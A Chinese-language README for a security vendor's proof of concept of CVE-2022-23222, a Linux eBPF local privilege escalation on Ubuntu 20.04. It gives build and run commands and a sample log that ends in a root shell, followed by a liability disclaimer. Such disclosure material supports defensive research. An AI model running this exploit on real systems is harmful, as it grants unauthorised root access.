这是 CVE-2022-23222 的概念验证代码，这是一个本地权限提升漏洞。 该 POC 针对 Ubuntu 20.04 内核版本 5.13.0-27-generic 编写，但其他内核版本也存在漏洞。 关于该利用的详细分析，请阅读我们的文章。
确保已安装 libbpf，因为它是利用代码的依赖项。
要编译 POC，请运行以下命令：
make
要执行利用代码，请运行以下可执行文件：
./exploit
[+] eBPF enabled, ringbuf created!
[!] staring to create new maps until we get two consecutive maps
[+] created map 1
[+] generated random value: f2dec021c4bb41b7
[+] created map 2
[+] generated random value: 3d247a46c6ed75e4
[+] two new maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 3
[+] generated random value: 3214fb323b506766
[+] created map 4
[+] generated random value: 909d65f4ebe3bc9a
[+] eBPF enabled, maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 5
[+] generated random value: 6bd18dfb510e1f0f
[+] created map 6
[+] generated random value: 8bd7c8e518387c75
[+] eBPF enabled, maps created!
[+] value read from slab: 3214fb323b506766
[+] aligned map found in map 2
1: 6bd18dfb510e1f0f
2: 3214fb323b506766
[+] closing unnecessary_maps
[+] found map address: 0xffff94d44cf48800
[+] overriding map_ops
[+] detected kernel slide 11200000
[+] setting spin_lock = 0
[+] setting max_entries = 0xffffffff
[+] setting map_type = BPF_MAP_TYPE_STACK
[+] getting root
[+] iterating over task_struct list to find out process
[+] got it!
[+] cleaning up
[+] getting shell!
#
本公告中描述的代码（以下简称“代码”）按“原样”和“可用”基础提供，可能包含错误、漏洞及其他缺陷。建议您保护重要数据并谨慎使用。使用本代码即表示您同意 Pentera 对您不承担任何与代码相关的责任。即使 Pentera 或其关联方已被告知此类损害的可能性，Pentera 也不对任何直接、间接、附带、惩罚性、惩戒性、特殊或后果性损害承担责任。Pentera 没有义务更新本代码或本公告。